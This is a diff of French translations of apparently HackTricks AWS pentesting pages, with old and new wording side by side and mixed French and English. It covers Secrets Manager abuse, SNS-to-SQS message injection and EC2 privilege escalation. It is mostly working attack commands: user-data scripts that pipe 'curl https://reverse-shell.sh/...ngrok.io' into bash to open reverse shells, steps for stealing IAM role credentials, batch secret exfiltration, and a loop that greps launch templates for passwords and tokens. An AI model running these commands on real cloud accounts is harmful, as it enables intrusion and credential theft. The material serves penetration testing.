Si l'attaquant dispose de la permission secretsmanager:UpdateSecret, il peut configurer le secret pour utiliser une KMS key appartenant à l'attaquant. Cette clé est initialement configurée de manière à ce que n'importe qui puisse y accéder et l'utiliser, ce qui permet de mettre à jour le secret avec la nouvelle clé. Si la clé n'était pas accessible, le secret ne pourrait pas être mis à jour.
|
||||
|
||||
Après avoir changé la clé du secret, l'attaquant modifie la configuration de sa clé pour que seul lui puisse y accéder. Ainsi, dans les versions suivantes du secret, celui-ci sera chiffré avec la nouvelle clé et, comme il n'y aura pas d'accès à cette clé, la possibilité de récupérer le secret sera perdue.
|
||||
Après avoir changé la KMS key du secret, l'attaquant modifie la configuration de sa KMS key afin que seul lui puisse y accéder. Ainsi, dans les versions ultérieures du secret, celui-ci sera chiffré avec la nouvelle KMS key et, comme il n'y aura plus d'accès à celle-ci, la possibilité de récupérer le secret sera perdue.
|
||||
|
||||
Il est important de noter que cette inaccessibilité n'interviendra que dans les versions ultérieures, après que le contenu du secret aura changé, puisque la version actuelle est encore chiffrée avec la KMS key originale.
|
||||
Il est important de noter que cette inaccessibilité ne se produira que dans les versions ultérieures, après que le contenu du secret aura changé, puisque la version actuelle est toujours chiffrée avec la KMS key originale.
|
||||
```bash
|
||||
aws secretsmanager update-secret \
|
||||
--secret-id MyTestSecret \
|
||||
--kms-key-id arn:aws:kms:us-west-2:123456789012:key/EXAMPLE1-90ab-cdef-fedc-ba987EXAMPLE
|
||||
```
|
||||
### DoS Suppression de Secret
|
||||
### DoS Deleting Secret
|
||||
|
||||
Le nombre minimum de jours pour supprimer un Secret est de 7.
|
||||
Le nombre minimum de jours pour supprimer un secret est de 7
|
||||
```bash
|
||||
aws secretsmanager delete-secret \
|
||||
--secret-id MyTestSecret \
|
||||
@@ -48,7 +48,7 @@ aws secretsmanager delete-secret \
|
||||
```
|
||||
## secretsmanager:RestoreSecret
|
||||
|
||||
Il est possible de restaurer un secret, ce qui permet de récupérer des secrets programmés pour suppression, car la période minimale de suppression des secrets est de 7 jours et la maximale de 30 jours. Associé à la permission secretsmanager:GetSecretValue, cela permet de récupérer leur contenu.
|
||||
Il est possible de restaurer un secret, ce qui permet de récupérer des secrets qui ont été programmés pour suppression, puisque la période minimale de suppression des secrets est de 7 jours et la maximale est de 30 jours. Associée à la permission secretsmanager:GetSecretValue, cela permet de récupérer leur contenu.
|
||||
|
||||
Pour récupérer un secret en cours de suppression, vous pouvez utiliser la commande suivante :
|
||||
```bash
|
||||
@@ -57,7 +57,7 @@ aws secretsmanager restore-secret \
|
||||
```
|
||||
## secretsmanager:DeleteResourcePolicy
|
||||
|
||||
Cette action permet de supprimer la resource policy qui contrôle qui peut accéder à un secret. Cela pourrait entraîner un DoS si la resource policy était configurée pour autoriser l'accès à un ensemble précis d'utilisateurs.
|
||||
Cette action permet de supprimer la resource policy qui contrôle qui peut accéder à un secret. Cela pourrait entraîner un DoS si la resource policy était configurée pour autoriser l'accès à un ensemble spécifique d'utilisateurs.
|
||||
|
||||
Pour supprimer la resource policy :
|
||||
```bash
|
||||
@@ -66,11 +66,11 @@ aws secretsmanager delete-resource-policy \
|
||||
```
|
||||
## secretsmanager:UpdateSecretVersionStage
|
||||
|
||||
Les états d'un secret sont utilisés pour gérer les versions d'un secret. AWSCURRENT marque la version active utilisée par les applications, AWSPREVIOUS conserve la version précédente pour pouvoir revenir en arrière si nécessaire, et AWSPENDING est utilisé dans le processus de rotation pour préparer et valider une nouvelle version avant de la rendre courante.
|
||||
Les états d'un secret servent à gérer ses versions. AWSCURRENT marque la version active utilisée par les applications, AWSPREVIOUS conserve la version précédente pour pouvoir revenir en arrière si nécessaire, et AWSPENDING est utilisé dans le processus de rotation pour préparer et valider une nouvelle version avant de la rendre courante.
|
||||
|
||||
Les applications lisent toujours la version marquée AWSCURRENT. Si quelqu'un déplace ce label vers la mauvaise version, les apps utiliseront des identifiants invalides et peuvent échouer.
|
||||
Les applications lisent toujours la version marquée AWSCURRENT. Si quelqu'un déplace ce label vers la mauvaise version, les applications utiliseront des identifiants invalides et risquent d'échouer.
|
||||
|
||||
AWSPREVIOUS n'est pas utilisé automatiquement. Cependant, si AWSCURRENT est supprimé ou réaffecté incorrectement, il peut sembler que tout fonctionne toujours avec la version précédente.
|
||||
AWSPREVIOUS n'est pas utilisé automatiquement. Toutefois, si AWSCURRENT est supprimé ou réaffecté incorrectement, il peut sembler que tout fonctionne encore avec la version précédente.
|
||||
```bash
|
||||
aws secretsmanager update-secret-version-stage \
|
||||
--secret-id <your-secret-name-or-arn> \
|
||||
@@ -78,32 +78,26 @@ aws secretsmanager update-secret-version-stage \
|
||||
--move-to-version-id <target-version-id> \
|
||||
--remove-from-version-id <previous-version-id>
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
### Mass Secret Exfiltration via BatchGetSecretValue (jusqu'à 20 par appel)
|
||||
|
||||
Abuse the Secrets Manager BatchGetSecretValue API to retrieve up to 20 secrets in a single request. Cela peut réduire considérablement le volume d'appels API comparé à l'itération de GetSecretValue pour chaque secret. Si des filtres sont utilisés (tags/name), la permission ListSecrets est également requise. CloudTrail enregistre néanmoins un événement GetSecretValue par secret récupéré dans le batch.
|
||||
|
||||
|
||||
|
||||
|
||||
### Exfiltration massive de secrets via BatchGetSecretValue (jusqu'à 20 par appel)
|
||||
|
||||
Abusez de l'API Secrets Manager BatchGetSecretValue pour récupérer jusqu'à 20 secrets dans une seule requête. Cela peut réduire fortement le volume d'appels API par rapport à l'itération avec GetSecretValue pour chaque secret. Si des filtres sont utilisés (tags/name), la permission ListSecrets est également requise. CloudTrail enregistre toujours un événement GetSecretValue par secret récupéré dans le batch.
|
||||
|
||||
Permissions requises
|
||||
Required permissions
|
||||
- secretsmanager:BatchGetSecretValue
|
||||
- secretsmanager:GetSecretValue for each target secret
|
||||
- secretsmanager:ListSecrets if using --filters
|
||||
- kms:Decrypt sur les CMK utilisées par les secrets (si vous n'utilisez pas aws/secretsmanager)
|
||||
- secretsmanager:GetSecretValue pour chaque secret ciblé
|
||||
- secretsmanager:ListSecrets si --filters est utilisé
|
||||
- kms:Decrypt on the CMKs used by the secrets (if not using aws/secretsmanager)
|
||||
|
||||
> [!WARNING]
|
||||
> Notez que la permission `secretsmanager:BatchGetSecretValue` n'est pas suffisante pour récupérer les secrets, vous avez également besoin de `secretsmanager:GetSecretValue` pour chaque secret que vous souhaitez récupérer.
|
||||
> Notez que la permission `secretsmanager:BatchGetSecretValue` n'est pas suffisante pour récupérer des secrets ; vous avez également besoin de `secretsmanager:GetSecretValue` pour chaque secret que vous souhaitez récupérer.
|
||||
|
||||
Exfiltrer par liste explicite
|
||||
Exfiltrate by explicit list
|
||||
```bash
|
||||
aws secretsmanager batch-get-secret-value \
|
||||
--secret-id-list <secret1> <secret2> <secret3> \
|
||||
--query 'SecretValues[].{Name:Name,Version:VersionId,Val:SecretString}'
|
||||
```
|
||||
Exfiltrate par filtres (tag key/value or name prefix)
|
||||
Exfiltrer par filtres (tag key/value ou préfixe de nom)
|
||||
```bash
|
||||
# By tag key
|
||||
aws secretsmanager batch-get-secret-value \
|
||||
@@ -126,5 +120,6 @@ Gestion des échecs partiels
|
||||
aws secretsmanager batch-get-secret-value --secret-id-list <id1> <id2> <id3>
|
||||
```
|
||||
Impact
|
||||
- Accès rapide “smash-and-grab” à de nombreux secrets avec moins d'appels API, pouvant potentiellement contourner les alertes configurées pour détecter les pics de GetSecretValue.
|
||||
- Les logs CloudTrail incluent toujours un événement GetSecretValue par secret récupéré par le lot.
|
||||
- Récupération rapide “smash-and-grab” de nombreux secrets avec moins d'appels API, pouvant potentiellement contourner des alertes configurées pour des pics de GetSecretValue.
|
||||
- Les logs CloudTrail incluent toujours un événement GetSecretValue par secret récupéré par lot.
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,17 +1,17 @@
|
||||
# AWS – Injection SQS inter-compte / même compte via abonnement SNS + politique de file d'attente
|
||||
# AWS – SQS Cross-/Same-Account Injection via SNS Subscription + Queue Policy
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Description
|
||||
|
||||
Abusez d'une politique de ressource de file d'attente SQS pour permettre à un topic SNS contrôlé par l'attaquant de publier des messages dans une file SQS victime. Dans le même compte, un abonnement SQS à un topic SNS est confirmé automatiquement ; en cas d'inter-compte, vous devez lire le jeton SubscriptionConfirmation depuis la file et appeler ConfirmSubscription. Cela permet l'injection de messages non sollicités que les consommateurs en aval peuvent implicitement considérer comme fiables.
|
||||
Abuser de la resource policy d'une file SQS pour permettre à un topic SNS contrôlé par un attaquant de publier des messages dans une file SQS victime. Dans le même compte, une subscription SQS à un topic SNS est auto-confirmée ; en cross-account, il faut lire le token SubscriptionConfirmation depuis la file et appeler ConfirmSubscription. Cela permet d'injecter des messages non fiables que les consommateurs en aval pourraient implicitement considérer comme de confiance.
|
||||
|
||||
### Exigences
|
||||
### Requirements
|
||||
- Capacité à modifier la politique de ressource de la file SQS cible : `sqs:SetQueueAttributes` sur la file victime.
|
||||
- Capacité à créer/publier sur un topic SNS contrôlé par l'attaquant : `sns:CreateTopic`, `sns:Publish`, et `sns:Subscribe` sur le compte/topic de l'attaquant.
|
||||
- Inter-compte uniquement : `sqs:ReceiveMessage` temporaire sur la file victime pour lire le jeton de confirmation et appeler `sns:ConfirmSubscription`.
|
||||
- Cross-account seulement : `sqs:ReceiveMessage` temporaire sur la file victime pour lire le token de confirmation et appeler `sns:ConfirmSubscription`.
|
||||
|
||||
### Exploitation dans le même compte
|
||||
### Same-account exploitation
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
# 1) Create victim queue and capture URL/ARN
|
||||
@@ -44,11 +44,11 @@ aws sns subscribe --topic-arn "$TOPIC_ARN" --protocol sqs --notification-endpoin
|
||||
aws sns publish --topic-arn "$TOPIC_ARN" --message {pwn:sns->sqs} --region $REGION
|
||||
aws sqs receive-message --queue-url "$Q_URL" --region $REGION --max-number-of-messages 1 --wait-time-seconds 10 --attribute-names All --message-attribute-names All
|
||||
```
|
||||
### Remarques inter-comptes
|
||||
- La politique de la file ci-dessus doit autoriser le `TOPIC_ARN` étranger (compte attaquant).
|
||||
- Les abonnements ne se confirment pas automatiquement. Octroyez-vous temporairement `sqs:ReceiveMessage` sur la queue de la victime pour lire le message `SubscriptionConfirmation` puis appelez `sns confirm-subscription` avec son `Token`.
|
||||
### Notes inter-comptes
|
||||
- La policy de la queue ci-dessus doit autoriser le `TOPIC_ARN` étranger (compte attaquant).
|
||||
- Les abonnements ne se confirment pas automatiquement. Accordez-vous temporairement `sqs:ReceiveMessage` sur la queue victime pour lire le message `SubscriptionConfirmation` puis appelez `sns confirm-subscription` avec son `Token`.
|
||||
|
||||
### Impact
|
||||
**Impact potentiel** : Injection continue de messages non sollicités dans une queue SQS de confiance via SNS, pouvant déclencher un traitement non désiré, polluer les données ou entraîner un abus de workflow.
|
||||
**Impact potentiel**: Injection continue de messages non sollicités dans une file d'attente SQS de confiance via SNS, pouvant déclencher des traitements inattendus, la pollution de données ou l'abus de flux de travail.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## EC2
|
||||
|
||||
Pour plus d'**info sur EC2**, consultez :
|
||||
Pour plus d'**infos sur EC2**, consultez :
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
|
||||
@@ -12,11 +12,11 @@ Pour plus d'**info sur EC2**, consultez :
|
||||
|
||||
### `iam:PassRole`, `ec2:RunInstances`
|
||||
|
||||
Un attaquant pourrait **créer une instance en lui attachant un IAM role puis accéder à l'instance** pour voler les identifiants du IAM role depuis le point de terminaison des métadonnées.
|
||||
Un attaquant pourrait **créer une instance en y attachant un rôle IAM puis accéder à l'instance** pour voler les identifiants du rôle IAM depuis le metadata endpoint.
|
||||
|
||||
- **Accès via SSH**
|
||||
|
||||
Lancez une nouvelle instance en utilisant une **créée** **ssh key** (`--key-name`) puis connectez‑vous en SSH (si vous voulez en créer une nouvelle, vous aurez peut‑être besoin de la permission `ec2:CreateKeyPair`).
|
||||
Lancez une nouvelle instance en utilisant une **ssh key** **créée** (`--key-name`) puis connectez-vous en ssh dessus (si vous voulez en créer une nouvelle, vous pourriez avoir besoin de la permission `ec2:CreateKeyPair`).
|
||||
```bash
|
||||
aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
|
||||
--iam-instance-profile Name=<instance-profile-name> --key-name <ssh-key> \
|
||||
@@ -24,7 +24,7 @@ aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
|
||||
```
|
||||
- **Accès via rev shell dans user data**
|
||||
|
||||
Vous pouvez lancer une nouvelle instance en utilisant un **user data** (`--user-data`) qui vous enverra un **rev shell**. Vous n'avez pas besoin de spécifier un security group de cette façon.
|
||||
Vous pouvez lancer une nouvelle instance en utilisant un **user data** (`--user-data`) qui vous enverra un **rev shell**. Vous n'avez pas besoin de spécifier de security group de cette façon.
|
||||
```bash
|
||||
echo '#!/bin/bash
|
||||
curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh
|
||||
@@ -34,17 +34,17 @@ aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
|
||||
--count 1 \
|
||||
--user-data "file:///tmp/rev.sh"
|
||||
```
|
||||
Faites attention avec GuradDuty si vous utilisez les identifiants du rôle IAM en dehors de l'instance :
|
||||
Faites attention à GuradDuty si vous utilisez les identifiants de l'IAM role en dehors de l'instance:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-security-and-detection-services/aws-guardduty-enum.md
|
||||
{{#endref}}
|
||||
|
||||
**Impact potentiel :** Privesc direct vers n'importe quel rôle EC2 attaché aux instance profiles existants.
|
||||
**Impact potentiel :** Privesc direct vers n'importe quel role EC2 attaché aux instance profiles existants.
|
||||
|
||||
#### Privesc vers ECS
|
||||
#### Privesc to ECS
|
||||
|
||||
Avec cet ensemble de permissions, vous pouvez aussi **créer une EC2 instance et l'enregistrer dans un ECS cluster**. Ainsi, les ECS **services** seront **exécutés** à l'intérieur de l'**EC2 instance** où vous avez accès et vous pourrez ensuite compromettre ces services (docker containers) et **voler leurs ECS roles attachés**.
|
||||
Avec cet ensemble de permissions, vous pourriez également **créer une EC2 instance et l'enregistrer dans un ECS cluster**. De cette façon, les **services** ECS seront **exécutés** à l'intérieur de l'**EC2 instance** à laquelle vous avez accès ; vous pourrez alors pénétrer ces services (docker containers) et **voler les ECS roles qui y sont attachés**.
|
||||
```bash
|
||||
aws ec2 run-instances \
|
||||
--image-id ami-07fde2ae86109a2af \
|
||||
@@ -59,20 +59,20 @@ aws ec2 run-instances \
|
||||
#!/bin/bash
|
||||
echo ECS_CLUSTER=<cluster-name> >> /etc/ecs/ecs.config;echo ECS_BACKEND_HOST= >> /etc/ecs/ecs.config;
|
||||
```
|
||||
Pour savoir comment **forcer les services ECS à s'exécuter** dans cette nouvelle instance EC2, consultez :
|
||||
Pour apprendre comment **forcer l'exécution des services ECS** sur cette nouvelle instance EC2, consultez :
|
||||
|
||||
{{#ref}}
|
||||
../aws-ecs-privesc/README.md
|
||||
{{#endref}}
|
||||
|
||||
Si vous **ne pouvez pas créer une nouvelle instance** mais disposez de la permission `ecs:RegisterContainerInstance`, vous pourriez être en mesure d'enregistrer l'instance dans le cluster et d'exécuter l'attaque décrite.
|
||||
Si vous **ne pouvez pas créer une nouvelle instance** mais que vous avez la permission `ecs:RegisterContainerInstance`, vous pourriez être en mesure d'enregistrer l'instance dans le cluster et d'effectuer l'attaque commentée.
|
||||
|
||||
**Impact potentiel :** Privesc direct vers ECS roles attachés aux tasks.
|
||||
**Impact potentiel :** Direct privesc to ECS roles attached to tasks.
|
||||
|
||||
### **`iam:PassRole`,** **`iam:AddRoleToInstanceProfile`**
|
||||
|
||||
Comme dans le scénario précédent, un attaquant disposant de ces permissions pourrait **changer le IAM role d'une instance compromise** afin de pouvoir voler de nouvelles credentials.\
|
||||
Comme un instance profile ne peut avoir qu'un seul role, si l'instance profile **a déjà un role** (cas fréquent), vous aurez aussi besoin de **`iam:RemoveRoleFromInstanceProfile`**.
|
||||
Comme dans le scénario précédent, un attaquant disposant de ces permissions pourrait **changer le IAM role d'une instance compromise** afin de pouvoir voler de nouvelles credentials.
|
||||
Comme un instance profile ne peut contenir qu'un seul role, si l'instance profile **a déjà un rôle** (cas fréquent), vous aurez aussi besoin de **`iam:RemoveRoleFromInstanceProfile`**.
|
||||
```bash
|
||||
# Removing role from instance profile
|
||||
aws iam remove-role-from-instance-profile --instance-profile-name <name> --role-name <name>
|
||||
@@ -80,19 +80,19 @@ aws iam remove-role-from-instance-profile --instance-profile-name <name> --role-
|
||||
# Add role to instance profile
|
||||
aws iam add-role-to-instance-profile --instance-profile-name <name> --role-name <name>
|
||||
```
|
||||
Si le **instance profile a un role** et que l'attaquant **ne peut pas le supprimer**, il existe une autre solution. Il pourrait **trouver** un **instance profile sans role** ou **créer un nouveau** (`iam:CreateInstanceProfile`), **ajouter** le **role** à cet **instance profile** (comme discuté précédemment), et **associer l'instance profile** compromis à une i**nstance** compromise :
|
||||
Si le **instance profile a un role** et que l'attaquant **ne peut pas le supprimer**, il existe une autre solution de contournement. Il pourrait **trouver** un **instance profile sans role** ou **créer un nouveau** (`iam:CreateInstanceProfile`), **ajouter** le **role** à cet **instance profile** (comme discuté précédemment), et **associer l'instance profile** compromis à une instance compromise:
|
||||
|
||||
- Si l'instance **n'a aucun instance** profile (`ec2:AssociateIamInstanceProfile`)
|
||||
- Si l'instance **n'a pas d'instance** profile (`ec2:AssociateIamInstanceProfile`)
|
||||
```bash
|
||||
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
|
||||
```
|
||||
**Impact potentiel :** Privesc direct vers un autre rôle EC2 (vous devez avoir compromis une instance AWS EC2 et disposer de permissions supplémentaires ou d'un statut spécifique d'instance profile).
|
||||
**Impact potentiel :** Direct privesc vers un autre EC2 role (vous devez avoir compromis une instance AWS EC2 et disposer de permissions supplémentaires ou d'un statut spécifique de instance profile).
|
||||
|
||||
### **`iam:PassRole`((** `ec2:AssociateIamInstanceProfile`& `ec2:DisassociateIamInstanceProfile`) || `ec2:ReplaceIamInstanceProfileAssociation`)
|
||||
|
||||
Avec ces permissions, il est possible de changer l'instance profile associée à une instance ; ainsi, si l'attaquant avait déjà accès à une instance, il pourra voler des identifiants pour davantage de rôles d'instance profile en modifiant celui qui lui est associé.
|
||||
Avec ces permissions, il est possible de changer l'instance profile associée à une instance ; ainsi, si l'attaquant avait déjà accès à une instance, il pourra voler des credentials pour davantage de instance profile roles en changeant celui qui lui est associé.
|
||||
|
||||
- Si elle **a un instance profile**, vous pouvez **retirer** l'instance profile (`ec2:DisassociateIamInstanceProfile`) et **l'associer**
|
||||
- Si l'instance **a un instance profile**, vous pouvez **retirer** l'instance profile (`ec2:DisassociateIamInstanceProfile`) et **l'associer**
|
||||
```bash
|
||||
aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da
|
||||
aws ec2 disassociate-iam-instance-profile --association-id <value>
|
||||
@@ -102,12 +102,12 @@ aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --ins
|
||||
```bash
|
||||
aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name=<value> --association-id <value>
|
||||
```
|
||||
**Impact potentiel :** Direct privesc vers un autre rôle EC2 (vous devez avoir compromis une instance AWS EC2 et disposer d'une permission supplémentaire ou d'un statut d'instance profile spécifique).
|
||||
**Impact potentiel :** Direct privesc to a different EC2 role (you need to have compromised a AWS EC2 instance and some extra permission or specific instance profile status).
|
||||
|
||||
### `ec2:RequestSpotInstances`,`iam:PassRole`
|
||||
|
||||
Un attaquant disposant des permissions **`ec2:RequestSpotInstances`and`iam:PassRole`** peut **request** une **Spot Instance** avec un **EC2 Role attached** et un **rev shell** dans les **user data**.\
|
||||
Une fois que l'instance est lancée, il peut **steal the IAM role**.
|
||||
Un attaquant disposant des permissions **`ec2:RequestSpotInstances`and`iam:PassRole`** peut **demander** une **Spot Instance** avec un **EC2 Role attaché** et un **rev shell** dans le **user data**.\
|
||||
Une fois l'instance lancée, il peut **voler le rôle IAM**.
|
||||
```bash
|
||||
REV=$(printf '#!/bin/bash
|
||||
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
|
||||
@@ -119,9 +119,9 @@ aws ec2 request-spot-instances \
|
||||
```
|
||||
### `ec2:ModifyInstanceAttribute`
|
||||
|
||||
Un attaquant disposant du **`ec2:ModifyInstanceAttribute`** peut modifier les attributs de l'instance. Parmi eux, il peut **changer le user data**, ce qui implique qu'il peut faire exécuter à l'instance des **données arbitraires.** Ce qui peut être utilisé pour obtenir une **rev shell sur l'instance EC2**.
|
||||
Un attaquant disposant de la **`ec2:ModifyInstanceAttribute`** peut modifier les attributs de l'instance. Parmi eux, il peut **changer le user data**, ce qui implique qu'il peut faire exécuter à l'instance des **données arbitraires.** Cela peut être utilisé pour obtenir un **rev shell to the EC2 instance**.
|
||||
|
||||
À noter que les attributs ne peuvent être **modifiés que lorsque l'instance est arrêtée**, donc les **permissions** **`ec2:StopInstances`** et **`ec2:StartInstances`** sont nécessaires.
|
||||
Notez que les attributs ne peuvent être **modifiés que lorsque l'instance est arrêtée**, il faut donc les **permissions** **`ec2:StopInstances`** et **`ec2:StartInstances`**.
|
||||
```bash
|
||||
TEXT='Content-Type: multipart/mixed; boundary="//"
|
||||
MIME-Version: 1.0
|
||||
@@ -158,11 +158,11 @@ aws ec2 modify-instance-attribute \
|
||||
|
||||
aws ec2 start-instances --instance-ids $INSTANCE_ID
|
||||
```
|
||||
**Impact potentiel :** privesc direct vers tout EC2 IAM Role attaché à une instance créée.
|
||||
**Impact potentiel :** privesc direct sur n'importe quel EC2 IAM Role attaché à une instance créée.
|
||||
|
||||
### `ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`,`ec2:ModifyLaunchTemplate`
|
||||
|
||||
Un attaquant disposant des permissions **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`and `ec2:ModifyLaunchTemplate`** peut créer une **nouvelle version de Launch Template** avec une **rev shell dans** les **user data** et **tout EC2 IAM Role dessus**, modifier la version par défaut, et **tout Autoscaler group** **utilisant** ce **Launch Templat**e qui est **configuré** pour utiliser la **latest** ou la **default version** relancera les **instances** en utilisant ce template et exécutera la rev shell.
|
||||
Un attaquant avec les permissions **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`and `ec2:ModifyLaunchTemplate`** peut créer une **nouvelle Launch Template version** avec un **rev shell dans** le **user data** et **n'importe quel EC2 IAM Role associé**, changer la version par défaut, et **tout Autoscaler group** **utilisant** ce **Launch Template** qui est **configuré** pour utiliser la **latest** ou la **version par défaut** **relancera les instances** utilisant ce template et exécutera le rev shell.
|
||||
```bash
|
||||
REV=$(printf '#!/bin/bash
|
||||
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
|
||||
@@ -176,11 +176,11 @@ aws ec2 modify-launch-template \
|
||||
--launch-template-name bad_template \
|
||||
--default-version 2
|
||||
```
|
||||
**Impact potentiel :** privesc direct vers un autre EC2 role.
|
||||
**Impact potentiel :** privesc direct vers un autre rôle EC2.
|
||||
|
||||
### (`autoscaling:CreateLaunchConfiguration` | `ec2:CreateLaunchTemplate`), `iam:PassRole`, (`autoscaling:CreateAutoScalingGroup` | `autoscaling:UpdateAutoScalingGroup`)
|
||||
|
||||
Un attaquant disposant des permissions **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** peut **créer une Launch Configuration** avec un **IAM Role** et une **rev shell** dans le **user data**, puis **créer un autoscaling group** à partir de cette config et attendre que la rev shell **vole le IAM Role**.
|
||||
Un attaquant disposant des permissions **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** peut **create a Launch Configuration** avec un **IAM Role** et un **rev shell** dans le **user data**, puis **create an autoscaling group** à partir de cette configuration et attendre que le rev shell **steal the IAM Role**.
|
||||
```bash
|
||||
aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \
|
||||
--launch-configuration-name bad_config \
|
||||
@@ -196,28 +196,28 @@ aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \
|
||||
--desired-capacity 1 \
|
||||
--vpc-zone-identifier "subnet-e282f9b8"
|
||||
```
|
||||
**Impact potentiel :** privesc direct vers un autre EC2 role.
|
||||
**Impact potentiel :** Privesc direct vers un autre rôle EC2.
|
||||
|
||||
### `!autoscaling`
|
||||
|
||||
L'ensemble des permissions **`ec2:CreateLaunchTemplate`** et **`autoscaling:CreateAutoScalingGroup`** **ne suffisent pas à escalader** les privilèges vers un IAM role car, pour attacher le rôle spécifié dans la Launch Configuration ou dans le Launch Template, **il faut les permissions `iam:PassRole` et `ec2:RunInstances`** (ce qui est une privesc connue).
|
||||
L'ensemble des permissions **`ec2:CreateLaunchTemplate`** et **`autoscaling:CreateAutoScalingGroup`** **ne suffisent pas à escalader** les privilèges vers un IAM role car, pour attacher le rôle spécifié dans la Launch Configuration ou dans la Launch Template, **il vous faut les permissions `iam:PassRole` et `ec2:RunInstances`** (ce qui est un privesc connu).
|
||||
|
||||
### `ec2-instance-connect:SendSSHPublicKey`
|
||||
|
||||
Un attaquant disposant de la permission **`ec2-instance-connect:SendSSHPublicKey`** peut ajouter une clé ssh à un utilisateur et l'utiliser pour y accéder (s'il dispose d'un accès ssh à l'instance) ou pour escalader les privilèges.
|
||||
Un attaquant disposant de la permission **`ec2-instance-connect:SendSSHPublicKey`** peut ajouter une clé ssh à un utilisateur et l'utiliser pour y accéder (s'il a un accès ssh à l'instance) ou pour escalader les privilèges.
|
||||
```bash
|
||||
aws ec2-instance-connect send-ssh-public-key \
|
||||
--instance-id "$INSTANCE_ID" \
|
||||
--instance-os-user "ec2-user" \
|
||||
--ssh-public-key "file://$PUBK_PATH"
|
||||
```
|
||||
**Impact potentiel :** Privesc direct vers les EC2 IAM roles attachées aux instances en cours d'exécution.
|
||||
**Impact potentiel :** Privesc direct vers les EC2 IAM roles attachés aux instances en cours d'exécution.
|
||||
|
||||
### `ec2-instance-connect:SendSerialConsoleSSHPublicKey`
|
||||
|
||||
Un attaquant disposant de la permission **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** peut **ajouter une clé ssh à une connexion série**. Si la console série n'est pas activée, l'attaquant a besoin de la permission **`ec2:EnableSerialConsoleAccess` pour l'activer**.
|
||||
Un attaquant disposant de la permission **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** peut **ajouter une clé ssh à une connexion série**. Si la connexion série n'est pas activée, l'attaquant a besoin de la permission **`ec2:EnableSerialConsoleAccess`** pour l'activer.
|
||||
|
||||
Pour se connecter au port série, il faut aussi **connaître le nom d'utilisateur et le mot de passe d'un utilisateur** à l'intérieur de la machine.
|
||||
Pour se connecter au port série, il faut également **connaître le nom d'utilisateur et le mot de passe d'un compte présent sur la machine**.
|
||||
```bash
|
||||
aws ec2 enable-serial-console-access
|
||||
|
||||
@@ -231,11 +231,11 @@ ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-
|
||||
```
|
||||
Cette méthode n'est pas très utile pour le privesc car il faut connaître un nom d'utilisateur et un mot de passe pour l'exploiter.
|
||||
|
||||
**Potential Impact:** (Fortement invérifiable) Privesc direct vers les EC2 IAM roles attachés aux instances en cours d'exécution.
|
||||
**Impact potentiel :** (Très difficile à prouver) privesc direct sur les IAM roles EC2 attachés aux instances en cours d'exécution.
|
||||
|
||||
### `describe-launch-templates`,`describe-launch-template-versions`
|
||||
|
||||
Comme les launch templates possèdent des versions, un attaquant disposant des permissions **`ec2:describe-launch-templates`** et **`ec2:describe-launch-template-versions`** pourrait les exploiter pour découvrir des informations sensibles, telles que des identifiants présents dans les user data. Pour ce faire, le script suivant parcourt toutes les versions des launch templates disponibles :
|
||||
Comme les launch templates ont du versioning, un attaquant disposant des permissions **`ec2:describe-launch-templates`** et **`ec2:describe-launch-template-versions`** pourrait les exploiter pour découvrir des informations sensibles, comme des credentials présents dans le user data. Pour ce faire, le script suivant parcourt toutes les versions des launch templates disponibles :
|
||||
```bash
|
||||
for i in $(aws ec2 describe-launch-templates --region us-east-1 | jq -r '.LaunchTemplates[].LaunchTemplateId')
|
||||
do
|
||||
@@ -248,9 +248,9 @@ echo
|
||||
done | grep -iE "aws_|password|token|api"
|
||||
done
|
||||
```
|
||||
Dans les commandes ci‑dessus, bien que nous spécifiions certains motifs (`aws_|password|token|api`), vous pouvez utiliser une autre regex pour rechercher d'autres types d'informations sensibles.
|
||||
Dans les commandes ci‑dessus, bien que nous spécifiions certains motifs (`aws_|password|token|api`), vous pouvez utiliser une regex différente pour rechercher d'autres types d'informations sensibles.
|
||||
|
||||
Si nous trouvons `aws_access_key_id` et `aws_secret_access_key`, nous pouvons utiliser ces identifiants pour nous authentifier auprès d'AWS.
|
||||
Si nous trouvons `aws_access_key_id` et `aws_secret_access_key`, nous pouvons utiliser ces identifiants pour nous authentifier sur AWS.
|
||||
|
||||
**Impact potentiel :** Escalade de privilèges directe vers un ou plusieurs utilisateurs IAM.
|
||||
|
||||
@@ -258,16 +258,11 @@ Si nous trouvons `aws_access_key_id` et `aws_secret_access_key`, nous pouvons ut
|
||||
|
||||
